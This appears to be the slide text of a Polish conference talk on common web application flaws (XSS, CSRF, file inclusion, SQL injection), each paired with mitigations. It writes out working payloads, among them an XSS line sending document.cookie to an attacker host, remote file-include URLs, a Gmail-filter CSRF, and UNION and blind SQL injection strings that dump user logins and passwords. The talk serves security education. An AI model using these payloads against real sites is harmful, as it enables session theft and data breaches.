Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Logicaltrust pl
 

Más de Logicaltrust pl (20)

Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
 
Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29
 
8 zasad skutecznego security awareness
8 zasad skutecznego security awareness8 zasad skutecznego security awareness
8 zasad skutecznego security awareness
 
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
 
Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019
 
Minerva_lib - fuzzing tool
Minerva_lib - fuzzing toolMinerva_lib - fuzzing tool
Minerva_lib - fuzzing tool
 
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
 
Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018
 
Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)
 
Redteaming w Polsce - przykłady
Redteaming w Polsce - przykładyRedteaming w Polsce - przykłady
Redteaming w Polsce - przykłady
 
Testy bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiTesty bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadki
 
Krytyczne błędy konfiguracji
Krytyczne błędy konfiguracjiKrytyczne błędy konfiguracji
Krytyczne błędy konfiguracji
 
Devops/Sysops security
Devops/Sysops securityDevops/Sysops security
Devops/Sysops security
 
Devops security
Devops securityDevops security
Devops security
 
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
 
Torturing the PHP interpreter
Torturing the PHP interpreterTorturing the PHP interpreter
Torturing the PHP interpreter
 
Socjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obronySocjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obrony
 
Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersWyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers
 
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
 
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
 

Drobne błędy w portalach WWW -- prawdziwe studium przypadku

  • 1. Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP
  • 2.  Czemu WWW jest ważne? M
  • 3. WWW jest wszędzie M
  • 4.  Wydajemy pieniądze  Zarządzamy finansami  Zarabiamy pieniądze  Marnujemy czas M
  • 5. Ruch w Internecie http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M
  • 6. 2007: ilośd ruchu WWW przekroczyła ilośd ruchu P2P M
  • 7. WWW pokonało pr0n! YAY!* * nie poparte żadnymi badaniami M
  • 8. Typy ruchu HTTP http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M
  • 9. Wzrost ilości hostów w sieci Ponad 60 mln aktywnych (netcraft) M
  • 10.  Bezpieczeostwo WWW w skrócie M
  • 11. Odkryte podatności WWW przewyższają ilościowo wszystkie pozostałe (Sans) M
  • 12. Czemu?  Bardzo popularne medium ($)  Niedojrzałośd technologii  Błędy logiczne  Chałupnicze rozwiązania M
  • 13. Amerykaoskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów (Gartner, http://www.heise-online.pl/news/item/2356/) M
  • 14. Standardowa architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 15. Źle! Internet Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 16. Firewall vs. właściwe  projektowanie, kodowanie i SDLC Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 17. Optymalnie Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M
  • 18. Najczęstsze ataki  PHP Remote File Include  SQL Injection  Cross-Site Scripting  Cross-site Request Forgery (SANS Top-20 2007 Security Risks, 2007 Annual Update) M
  • 19.  Wyciek informacji B
  • 20. Wesoła historyjka ;-) B
  • 21. Więcej obrazków hmm… B
  • 22.  B
  • 23. :-D B
  • 24. Kopiujemy… B
  • 25. Łączymy się… B
  • 26. PWND ;-) B
  • 27. Wniosek? Bezpieczeostwo wymaga specyficznego sposobu myślenia (Paranoi? ;-) B
  • 28. Ograniczenie dostępu po stronie klienta  Możliwośd obejścia interfejsu  W kontraście z bankomatem Nieskuteczne! B
  • 29. Ograniczenie dostępu po stronie klienta  RSS z identyfikacją ID klienta serwer.tld/rss/100_rss.xml serwer.tld/rss/101_rss.xml serwer.tld/rss/102_rss.xml  Czytanie cudzych wiadomości serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82 B
  • 30. Kontrola dostępu po stronie serwera B
  • 31.  Cross-Site Scripting (XSS) B
  • 32. Reflective XSS Serwer http://serwer/index.php?id=<script>…</script> GET /index.php? id=<script>…</script> HTTP/1.1 Aplikacja Intruz WWW Użytkownik …<script>…</script>… exec(…) Dane dostępne w kontekście użytkownika B
  • 33. Przykładowy kod XSS document.write(‘ <img src=„ http://intruz.tld/cookiemonster.gif ?’+escape(document.cookie) +’ ”> ’); B
  • 34. Zmiana treści za pomocą XSS M
  • 35. Zmiana treści za pomocą XSS B
  • 36. Rebranding za pomocą XSS http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117, 109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40, 34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10 9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1 11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1 05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E document.getElementById("logo").innerHTML= "<img src='http://www.str.tld/images/smiley.gif'>" M
  • 37. Tak to wygląda w kodzie strony ... <div id="maincontent"> <h2>Results for: <span style="color: #f00;"><script>eval(String.fromCharCode(100,111,99,117,109,101 ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1 00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77 ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5 8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1 12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4 6,103,105,102,39,62,34));</script></span></h2> </div> ... M
  • 38. Tak wygląda zmieniany kod <div id="logo"> <div class="logolink"> <a href="http://strona.tld/">strona.tld</a> </div> ... </div> M
  • 39. Kod w przeglądarce M
  • 40. Efekt działania M
  • 41. A wygląda to tak M
  • 42. Zmiana treści za pomocą XSS  Nie jest permanentna  Lepszy kod  łatwiej (sic!) Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce  phishing B
  • 43. Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user B
  • 44. Wykorzystanie przejętego cookie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Intruz Witaj user B
  • 45. Kradzież ciastka zawierającego ID sesji http://www.serwer.tld/index.php?p=com ments&comments_login=smietanka%3Csc ript%3Edocument.write(document.cookie) %3C/script%3E PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; __utma=258102041.949163972.1198624259.1198624259.1198624259.1; __utmb=258102041; __utmc=258102041; __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc md=(none) M
  • 46.  M
  • 47.  M
  • 48.  M
  • 49. Jak wysład sobie ciastko?  XMLHttpRequest Problem pomiędzy domenami  Link img, iframe, location.href, etc Przykład: <img src="http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7 si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259. 1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204 1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29 %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29"> B
  • 50. Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane !!! - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7 B
  • 51. http://serwer.tld/topics/<img src=http://www.serw.tld/images/smiley.gif> / M
  • 52. http://serwer.tld/topics/<img  src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif> %2f  / M
  • 53. http://serwer.tld/topics/<img  src=http:%252f%252fwww.serwer.tld%252fimages%252fsm iley.gif> %252f  %2f  / M
  • 54.  B
  • 55. Stored XSS Serwer POST /register.php HTTP/1.1 login=<script>…</script>&password=asd Aplikacja WWW GET /index.php HTTP/1.1 <script>…</script> Użytkownik …<script>…</script>… Intruz exec(…) Baza danych Dane dostępne w kontekście użytkownika B
  • 56. Co można zrobid?  Permanentna zmiana treści  Łatwa kradzież ID sesji  CSRF  XSS Proxy  Automatyczne robaki - mySpace, Orkut, Nduja, Borys Łatwe ;] w serwisach pozwalających publikowad własną treśd: - aukcyjne, blogi, fora, etc B
  • 57. Kradzież ID sesji B
  • 58. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS … Intruz User_1 User_2 B
  • 59. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 Intruz XSS …<script>…</script>… … exec(…) Zapisuje XSS w swoim profilu Intruz User_1 XSS User_2 B
  • 60. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 Intruz XSS …<script>…</script>… User_2 … Zapisuje XSS w exec(…) swoim profilu Intruz GET /user1/ HTTP/1.1 User_1 XSS …<script>…</script>… Zapisuje XSS w exec(…) User_2 XSS swoim profilu B
  • 61. Nduja – A Cross Domain/Webmail XSS Worm Intruz E-mail E-mail E-mail E-mail Serwer Serwer Serwer Serwer WWW WWW WWW WWW WebMail WebMail WebMail WebMail Libero.it Tiscali.it Lycos.it Excite.com B
  • 62. Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7  Filtrowad dane zapisywane do bazy i odczytywane z bazy B
  • 63.  Cross-Site Request Forgery (CSRF) B
  • 64. CSRF Serwer http://serwer/delete.php?id=34 Aplikacja WWW GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 … id = 34; Intruz delete(id); Użytkownik … Wpis usunięty M
  • 65. <img src=„http://nasza- klasa.pl/invite/1?i=1”> (/var/log/apache/cba_ipn_zus_access.log) B
  • 66. Przejęcie wiadomości z Gmail (CSRF) http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip art/form-data&_action=https%3A//mail.google.com/mail/h/ wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter „Konto na Gmailu każdy z nas ma. Mam i ja!” (Kradzież domeny: www.davidairey.co.uk) B
  • 67. Co na to poradzid?  POST zamiast GET  obejście: iframe, javascript  Referer  problemy: proxy, przeglądarki, zmiana nagłówka  Generowane tymczasowego dodatkowego ID  Powiązanie ID użytkownika z długim losowym ciągiem  Trzymane po stronie serwera  Wymaganie ponownej autoryzacji przy kluczowych operacjach  Brak błędów XSS (XmlHttpRequest)!!! B
  • 68.  PHP File Include B
  • 69. Local File Include  • podgląd plików (konfiguracyjnych!) • wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer • dostęp do kodu źródłowego <?php if(file_exists("includes/$page.inc")) { include "includes/$page.inc"; } else { echo "W budowie!<BR>"; } http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi c_html/.htpasswd%00 B
  • 70. Remote File Include wykonanie kodu <?php include($mosConfig_absolute_path."/administrator/components /com_hashcash/config.hashcash.php"); require_once ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS trategy.php'); http://strona.tld/components/com_hashcash/server.php?mosConfig_a bsolute_path=http://zuozuozuo.pl/evil.txt? access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] "GET //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1" 404 1021 "-" "libwww-perl/5.803„ access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] "GET /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt? HTTP/1.1" 404 1021 "-" "libwww-perl/5.76" B
  • 71. Co z tym zrobid?  konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru  uważad na specjalne znaki (null byte, etc)  filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.)  inne: mod_security, Suhosin PHP B
  • 72.  SQL Injection M
  • 73. SQL Injection Serwer GET /login.php HTTP/1.1 login=admin&password=1’ or 1=‘1 Aplikacja WWW Intruz select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’ Welcome admin $dane = db_exec(„select from users where Baza danych login=‘$login’ and pass=‘$pass’”) if ($dane.count) { print („Welcome $login”) … } else { print („Bye”); exit (0); } M
  • 74. POST http://www.serwer.tld/index.php?p=priv HTTP/1.1  priv_search=2e332424&cat='"1&w_city="'asd&submit=Szukaj M
  • 76. priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=0#&submit=Szukaj M
  • 77. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select @@version#&submit=Szukaj The used SELECT statements have a different number of columns M
  • 78. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi t=Szukaj M
  • 79. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi t=Szukaj M
  • 80. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select  1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_ NAME,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA != 'information_schema'#&submit=Szukaj M
  • 81. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select  1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=Szukaj M
  • 82. Przy okazji wychodzą na jaw TAJEMNICE ;-) M
  • 83. Bonusowe odkrycie:  1836 botów :-) M
  • 84. Blind SQL Injection Formularz rejestracyjny: B ‘
  • 85. Blind SQL Injection  1' and 1='0  OK.  1' or 1='1  Taki email już jest zarejestrowany w serwisie. Musisz podad inny  1' union all SELECT IF( user() like '%sig%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  opóźnienie  user() == sig@...  1' union all SELECT IF( user() like '%asd%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  brak opóźnienia B
  • 86.  B
  • 87.  B
  • 88. Blind SQL Injection • /zgoda.php?id=155765%20AND%20(select%2 0ascii(substring((select%20login%20from%20a dmini%20limit%201,1),1,1)))%3D97 • id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII B
  • 89. Wyniki blind SQL Injection  Opóźnienie  Treśd  Komunikat błędu B
  • 90. Co na to poradzid?  Filtrowad wprowadzane dane - Białe listy znaków - Spójnośd (IDS, Firewall, aplikacja, baza danych)  Nie ufad filtrom po stronie użytkownika (listy wyboru, JavaScript) M
  • 91.  Podsumowanie M
  • 92. Z bezpieczeostwem WWW jest źle Błędy są wszędzie* wokół nas *no prawie wszędzie ;-) M
  • 93. Co zrobid? Koniecznie filtrowad wprowadzane i wyprowadzane dane  Firewalle aplikacyjne  IDSy Białe listy! M
  • 94. Byd świadomym potencjalnych zagrożeo i problemów  Słuchad i pytad  Korzystad z pomocy specjalistów  Bilansowad koszty z zyskami każdy feedback jest dobry M
  • 95. Używad sprawdzonych rozwiązao • Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp. • Odpowiedzią na błędy w kodowaniu WWW są frameworki – Pozwalają na zachowanie pewnej jakości kodu – Nie jesteśmy w 100% bezpieczni » Jeszcze nie są wystarczająco dojrzałe » Nie wszyscy wiedzą jak z nich korzystad » Bywają rozszerzane "na głupa" » Efekt skali powoduje, że błędy propagują się szeroko M
  • 96. Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji PHP: http://www.sans.org/top20/#s1 M
  • 97. Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych M
  • 98. michal@sobiegraj.com b.lacki@logicaltrust.net Pytania?